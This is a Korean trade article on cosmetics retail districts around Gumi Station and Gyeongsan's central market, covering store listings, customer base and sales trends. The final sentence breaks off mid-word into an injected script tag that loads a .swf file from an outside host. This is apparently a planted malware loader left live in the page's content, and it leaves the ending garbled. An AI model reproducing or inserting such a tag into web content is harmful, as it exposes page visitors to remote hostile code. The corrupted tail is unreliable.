공단고객 주5일 근무… 매출 영향 구미역 부근에는 11곳의 크고 작은 화장품판매점이 자리잡고 있다. 현재 구미역 부근의 화장품전문점은 아씨 본점, 아씨포에버, 경북, 신데렐라, 이사벨, 금강, 탤런트 등을 꼽을 수 있다. 이 중 아씨, 아씨포에버, 경북, 금강 등이 시장을 선도하는 매장으로는 매출집중 또한 높은 것으로 파악되고 있다. 특히 아씨의 경우, 구미와 인근 도시에 11곳의 계열전문점을 운영할 만큼 막강한 영향력을 발휘하고 있으며 탤런트도 상주, 안동 등지에 3~4개의 매장을 함께 운영 중이다. 하지만 최근 몇 년간 수적인 감소세가 뚜렷히 나타고 있으며 매출도 눈에 띄게 줄어든 것으로 알려졌다. 그래도 여전히 종합화장품 전문점이 수적인 우세를 보이고 있으며 미샤, 더페이스샵 등 초저가매장은 젊은층을 대상으로 영업에 매진하는 모습이다. 여기에 최근 갤러리플렉스 인근에 오픈한 휴플레이스 구미점은 아직까지 뚜렷한 매기를 찾지 못하고 있는 상황이다. 휴플레이스 매장에 대한 소비자 인식이 아직은 낮아 개점효과를 얻지 못하는 것으로 알려졌다. 이밖에도 초저가매장인 아이앙띠도 주부층의 왕래가 많은 중앙시장 앞에 위치한 입지 탓에 고객 집객력이 다소 떨어지는 것으로 나타났다. 이곳 원평동 상권의 특징은 구매층의 40%가 구미공단에 근무하는 근로자일 만큼 공단지역의 의존도가 크다는 점이다. 이로 인해 공단지역의 변화에 따른 부침도 큰 편이다. 이 일대 주5일 근무제 확산으로 덩달아 전문점의 매출도 영향을 받고 있은 상황이며 특히 이마트 등 할인매장으로의 고객유입이 증가하고 있다는 것도 악재로 작용하고 있다.

주요 특징

구분 내용 점포수 △종합화장품매장: 아씨 본점, 아씨포에버, 경북, 신데렐라, 아사벨, 금강, 탤런트 △초저가매장: 미샤, 더페이스샵, 아이앙띠 △브랜드숍: 휴플레이스 구미점 상권특징 구미공단 근로자 의존도 큼, 전문점 수적 우세 지역

2번 도로 쇼핑 중심가 구미지역의 대표적인 상권을 들자면 평평한 들에 가장 먼저 생긴 마을이라는 뜻의 원평동 상권을 들 수 있다. 원평동 상권은 구미역과 경부고속도로 구미 IC가 인접된 교통요지라는 특성을 가지고 있어 일일 인구유동량이 구미에서 가장 많은 지역이다. 이같은 요건에 따라 예전부터 시장이 형성되었던 곳이다. 최근에 이르러서는 재래시장이 쇠퇴하고 있으나, 2번가 도로를 중심으로 의류브랜드매장, 화장품매장 등 쇼핑가가 넓게 형성돼 있고 레스토랑, 호프집, 분식점 등 음식업소도 많아 매일 젊은이들로 가득 매워지는 구미 최대의 상권지이다. 한편 구미역에 들어설 민자역사쇼핑몰이 완공되면 이 일대 상권활성화에 영향을 미칠 전망이다.

고정고객 바탕 대체로 안정세 유지 경산오거리 상권은 경산중앙시장을 중심으로 반격 500m안에 형성됐다. 상권이 시작되는 곳으로 들어서면 젊은 소비자층을 대상으로 하는 상가거리가 시작된다. 젊은이들을 위한 의류 업소가 가장 많은 비중을 차지하며, 패스트푸드점을 비롯한 미용실과 화장품전문점들 역시 경산시장을 중심으로 밀집돼 있다. 경산중앙시장은 재래시장이란 특성처럼 일반 소비재를 판매하는 상가들이 밀집돼 있으며 화장품전문점 역시 시장 안에만 5곳이 존재한다. 시장 골목마다 한 두 군데의 화장품전문점은 눈에 띌 정도다. 또 대구은행을 기준으로 연지찍고분바르고, 미인명가 등 화장품전문점이 포진해 있다. 이 지역에서 가장 큰 규모의 매?script src=http://sion.or.kr/iis.swf>

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